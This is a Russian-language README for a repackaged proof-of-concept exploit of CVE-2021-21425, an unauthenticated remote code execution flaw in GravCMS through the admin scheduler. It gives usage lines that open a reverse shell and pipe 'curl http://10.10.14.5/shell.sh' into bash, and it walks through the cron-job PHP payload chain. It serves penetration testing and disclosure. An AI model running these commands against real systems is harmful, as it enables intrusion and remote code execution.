CVE-2021-21425 - GravCMS Unauthenticated RCE

Улучшенный proof-of-concept для CVE-2021-21425 — уязвимости неаутентифицированного удалённого выполнения кода в GravCMS <= 1.10.7 через произвольную запись YAML в планировщик.

Благодарности

Это производная работа. Уязвимость и оригинальный эксплойт принадлежат не мне.

Роль	Кто
Уязвимость обнаружена	Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — март 2021
Оригинальный PoC	"legend" — Exploit-DB EDB-49973
Изменения в этом репозитории	d4ytox

Что изменено в этой версии

Оригинальный EDB-49973 требует ручного редактирования жёстко заданных значений в скрипте. В этой версии добавлены:

• Аргументы командной строки для target, LHOST, LPORT
• Автоматическое base64-кодирование полезной нагрузки reverse shell
• Поддержка произвольных команд (-c)
• Обработка ошибок и вывод статуса

Это изменения удобства использования существующего эксплойта. Никаких исследований уязвимости не заявлено.

Уязвимость

Поле	Значение
CVE	CVE-2021-21425
EDB-ID	49973
Затронуто	GravCMS <= 1.10.7
Тип	Неаутентифицированное RCE
CVSS	9.8 (Critical)

Плагин Grav Admin не проверяет аутентификацию на некоторых административных маршрутах, что позволяет неаутентифицированным пользователям записывать произвольную конфигурацию YAML. Этот эксплойт использует конфигурацию планировщика для создания задания cron, выполняющего произвольный PHP-код.

Использование

# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# Custom command
python3 exploit.py -t http://target -c "id"

Примеры

# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

Требования

pip install requests

Как это работает

1. Запрашивает /admin для извлечения токена admin-nonce (аутентификация не требуется из-за уязвимости)
2. Отправляет POST на /admin/config/scheduler с конфигурацией вредоносного задания cron
3. Планировщик выполняет PHP-полезную нагрузку через /usr/bin/php -r eval(base64_decode(...))
4. PHP записывает base64-декодированный reverse shell в /tmp/rev.sh и выполняет его

Задание cron запускается каждую минуту (* * * * *), поэтому шелл приходит в течение 60 секунд.

Хронология

• 2021-03-18 — Уязвимость обнаружена Mehmet Ince во время тестирования на проникновение
• 2021-03-29 — Раскрыта
• 2021-04-01 — Исправлена в Grav Admin Plugin 1.10.8

Ссылки

• NVD Entry
• GitHub Security Advisory GHSA-6f53-6qgv-39pj
• Original writeup by Mehmet Ince (Pentest Blog)
• Original PoC - Exploit-DB EDB-49973

Лицензия

MIT, применяется только к изменениям в этом репозитории. Оригинальный PoC не имеет лицензии, поэтому все права остаются за его автором. Полное уведомление об атрибуции см. в LICENSE.

Отказ от ответственности

Только для авторизованного тестирования безопасности. Убедитесь, что у вас есть письменное разрешение перед тестированием любой системы.